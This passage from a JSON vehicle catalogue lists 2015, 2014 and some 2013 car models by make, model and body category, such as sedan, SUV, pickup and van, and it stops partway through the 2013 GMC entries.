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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
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{
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{
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
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{
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},
{
"Year": 2015,
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{
"Year": 2015,
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{
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
"Make": "Lincoln",
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{
"Year": 2015,
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},
{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
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{
"Year": 2015,
"Make": "Jaguar",
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{
"Year": 2015,
"Make": "INFINITI",
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"Category": "SUV"
},
{
"Year": 2015,
"Make": "Kia",
"Model": "Optima Hybrid",
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{
"Year": 2015,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2015,
"Make": "Jeep",
"Model": "Grand Cherokee",
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},
{
"Year": 2015,
"Make": "Jeep",
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{
"Year": 2015,
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},
{
"Year": 2015,
"Make": "Kia",
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},
{
"Year": 2015,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2015,
"Make": "Kia",
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{
"Year": 2015,
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},
{
"Year": 2015,
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{
"Year": 2015,
"Make": "Land Rover",
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"Category": "SUV"
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{
"Year": 2015,
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},
{
"Year": 2015,
"Make": "Lamborghini",
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"Category": "Coupe"
},
{
"Year": 2015,
"Make": "Land Rover",
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},
{
"Year": 2015,
"Make": "Lexus",
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"Category": "SUV"
},
{
"Year": 2015,
"Make": "Land Rover",
"Model": "Discovery Sport",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Kia",
"Model": "Soul EV",
"Category": "Wagon"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
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"Category": "Sedan, Coupe"
},
{
"Year": 2015,
"Make": "Lexus",
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"Category": "SUV"
},
{
"Year": 2015,
"Make": "Lexus",
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"Category": "Coupe"
},
{
"Year": 2015,
"Make": "Land Rover",
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},
{
"Year": 2015,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2015,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan, Convertible"
},
{
"Year": 2015,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Lexus",
"Model": "CT",
"Category": "Hatchback"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "CX-5",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Lincoln",
"Model": "MKX",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
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"Category": "SUV"
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{
"Year": 2015,
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"Category": "Sedan"
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{
"Year": 2015,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "MAZDA5",
"Category": "Van/Minivan"
},
{
"Year": 2015,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
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},
{
"Year": 2015,
"Make": "Lincoln",
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"Category": "Sedan"
},
{
"Year": 2015,
"Make": "Lincoln",
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"Category": "Sedan"
},
{
"Year": 2015,
"Make": "Maserati",
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"Category": "Sedan"
},
{
"Year": 2015,
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"Category": "SUV"
},
{
"Year": 2015,
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},
{
"Year": 2015,
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"Category": "SUV"
},
{
"Year": 2015,
"Make": "Lexus",
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"Category": "Sedan"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "CX-9",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
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"Category": "SUV"
},
{
"Year": 2015,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2015,
"Make": "Maserati",
"Model": "GranTurismo",
"Category": "Coupe, Convertible"
},
{
"Year": 2015,
"Make": "McLaren",
"Model": "650S",
"Category": "Coupe, Convertible"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "GLA-Class",
"Category": "SUV"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "CLS-Class",
"Category": "Sedan"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "SLS-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2015,
"Make": "Mercedes-Benz",
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},
{
"Year": 2015,
"Make": "MINI",
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"Category": "Convertible"
},
{
"Year": 2015,
"Make": "MINI",
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"Category": "Coupe"
},
{
"Year": 2015,
"Make": "MINI",
"Model": "Paceman",
"Category": "Hatchback"
},
{
"Year": 2015,
"Make": "MINI",
"Model": "Hardtop 4 Door",
"Category": "Hatchback"
},
{
"Year": 2015,
"Make": "Mitsubishi",
"Model": "Lancer",
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},
{
"Year": 2015,
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{
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"Year": 2014,
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"Year": 2014,
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"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
"Make": "Chevrolet",
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},
{
"Year": 2014,
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{
"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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},
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"Year": 2014,
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"Year": 2014,
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{
"Year": 2014,
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{
"Year": 2014,
"Make": "Chevrolet",
"Model": "Tahoe",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Chevrolet",
"Model": "Traverse",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Challenger",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Chevrolet",
"Model": "Volt",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Avenger",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Chrysler",
"Model": "Town & Country",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "California",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Dart",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "FIAT",
"Model": "500",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Grand Caravan Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Journey",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Charger",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "FF",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "F12berlinetta",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Dodge",
"Model": "Durango",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "458 Speciale",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "FIAT",
"Model": "500c",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "458 Italia",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "FIAT",
"Model": "500e",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Ferrari",
"Model": "458 Spider",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "E350 Super Duty Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "FIAT",
"Model": "500 Abarth",
"Category": "Hatchback, Convertible"
},
{
"Year": 2014,
"Make": "FIAT",
"Model": "500L",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "C-MAX Hybrid",
"Category": "Wagon"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Expedition",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F250 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "E150 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Edge",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Fiesta",
"Category": "Sedan, Hatchback"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "E150 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "C-MAX Energi",
"Category": "Wagon"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Escape",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "E350 Super Duty Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F450 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F350 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Expedition EL",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F350 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F150 SuperCrew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F350 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F250 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Focus ST",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Focus",
"Category": "Sedan, Hatchback"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "F250 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Flex",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Fusion Energi",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Acadia",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Freightliner",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Freightliner",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Fusion",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Transit Connect Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 1500 Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Freightliner",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Ford",
"Model": "Transit Connect Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Freightliner",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Yukon XL 1500",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Odyssey",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Genesis Coupe",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 1500 Double Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 2500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Accord",
"Category": "Sedan, Coupe"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 3500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Accord Hybrid",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Sierra 2500 HD Regular Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Civic",
"Category": "Sedan, Coupe"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Crosstour",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Savana 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "CR-V",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Insight",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "CR-Z",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Accent",
"Category": "Hatchback, Sedan"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Elantra",
"Category": "Sedan, Hatchback, Coupe"
},
{
"Year": 2014,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Pilot",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Azera",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Santa Fe Sport",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Honda",
"Model": "Ridgeline",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Santa Fe",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Tucson",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Equus",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Sonata",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Veloster",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Hyundai",
"Model": "Genesis",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "Q50",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "Q60",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "QX50",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "Q70",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "QX60",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jaguar",
"Model": "XF",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "QX70",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jaguar",
"Model": "XJ",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "INFINITI",
"Model": "QX80",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jeep",
"Model": "Patriot",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jaguar",
"Model": "XK",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Jeep",
"Model": "Cherokee",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jaguar",
"Model": "F-TYPE",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Forte",
"Category": "Sedan, Coupe, Hatchback"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Optima",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Cadenza",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Jeep",
"Model": "Wrangler",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Jeep",
"Model": "Grand Cherokee",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Rio",
"Category": "Sedan, Hatchback"
},
{
"Year": 2014,
"Make": "Jeep",
"Model": "Compass",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "GX",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Land Rover",
"Model": "LR4",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "LS",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Sorento",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "LX",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "IS",
"Category": "Sedan, Convertible"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Sportage",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "Navigator L",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Sedona",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Kia",
"Model": "Soul",
"Category": "Wagon"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "CX-5",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Land Rover",
"Model": "Range Rover Sport",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lamborghini",
"Model": "Aventador",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Lamborghini",
"Model": "Gallardo",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Land Rover",
"Model": "Range Rover Evoque",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "GS",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "RX",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Land Rover",
"Model": "LR2",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "MKS",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "MAZDA2",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Lotus",
"Model": "Evora",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Land Rover",
"Model": "Range Rover",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "CT",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "Navigator",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "MKX",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "MKT",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Lexus",
"Model": "ES",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Lincoln",
"Model": "MKZ",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Maserati",
"Model": "GranTurismo",
"Category": "Convertible, Coupe"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "MAZDA5",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Maserati",
"Model": "Quattroporte",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Maserati",
"Model": "Ghibli",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "CX-9",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "B-Class",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "MAZDA6",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "MAZDA3",
"Category": "Sedan, Hatchback"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "C-Class",
"Category": "Sedan, Coupe"
},
{
"Year": 2014,
"Make": "MAZDA",
"Model": "MX-5 Miata",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "McLaren",
"Model": "MP4-12C",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "G-Class",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "CLA-Class",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "CLS-Class",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Convertible",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "CL-Class",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "GL-Class",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "GLK-Class",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "SL-Class",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "E-Class",
"Category": "Sedan, Wagon, Coupe, Convertible"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "cube",
"Category": "Wagon"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "S-Class",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "GT-R",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Mitsubishi",
"Model": "i-MiEV",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "SLS-Class",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Coupe",
"Category": "Coupe"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Roadster",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "M-Class",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "SLK-Class",
"Category": "Convertible"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "JUKE",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Paceman",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "370Z",
"Category": "Coupe, Convertible"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Clubman",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Mitsubishi",
"Model": "Outlander Sport",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Mitsubishi",
"Model": "Mirage",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Mitsubishi",
"Model": "Lancer",
"Category": "Sedan, Hatchback"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Hardtop",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Mercedes-Benz",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2014,
"Make": "Mitsubishi",
"Model": "Outlander",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "Frontier King Cab",
"Category": "Pickup"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "Altima",
"Category": "Sedan"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "Armada",
"Category": "SUV"
},
{
"Year": 2014,
"Make": "MINI",
"Model": "Countryman",
"Category": "Hatchback"
},
{
"Year": 2014,
"Make": "Nissan",
"Model": "NV1500 Cargo",
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{
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"Year": 2013,
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},
{
"Year": 2013,
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},
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"Year": 2013,
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},
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"Year": 2013,
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},
{
"Year": 2013,
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},
{
"Year": 2013,
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},
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},
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},
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"Year": 2013,
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},
{
"Year": 2013,
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{
"Year": 2013,
"Make": "Ferrari",
"Model": "F12berlinetta",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "C-MAX Hybrid",
"Category": "Wagon"
},
{
"Year": 2013,
"Make": "Dodge",
"Model": "Dart",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F150 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "E250 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ferrari",
"Model": "458 Italia",
"Category": "Coupe"
},
{
"Year": 2013,
"Make": "FIAT",
"Model": "500",
"Category": "Hatchback, Convertible"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "E350 Super Duty Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "E150 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Explorer",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Escape",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Expedition",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Expedition EL",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F150 SuperCrew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F350 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F250 Super Duty Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F450 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F350 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F250 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F150 Super Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F250 Super Duty Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "F350 Super Duty Super Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Flex",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Focus",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Fiesta",
"Category": "Sedan, Hatchback"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Mustang",
"Category": "Coupe, Convertible"
},
{
"Year": 2013,
"Make": "Freightliner",
"Model": "Sprinter 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Freightliner",
"Model": "Sprinter 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 2500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Focus ST",
"Category": "Hatchback"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Taurus",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Fusion",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Freightliner",
"Model": "Sprinter 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Fusion Energi",
"Category": "Sedan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Transit Connect Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 3500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "Ford",
"Model": "Transit Connect Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 3500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 1500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Acadia",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "Freightliner",
"Model": "Sprinter 2500 Crew",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 1500 Regular Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 1500 Cargo",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Savana 2500 Passenger",
"Category": "Van/Minivan"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Yukon XL 1500",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Yukon",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Terrain",
"Category": "SUV"
},
{
"Year": 2013,
"Make": "GMC",
"Model": "Sierra 3500 HD Crew Cab",
"Category": "Pickup"
},
{
"Year": 2013,
"Make": "GMC",
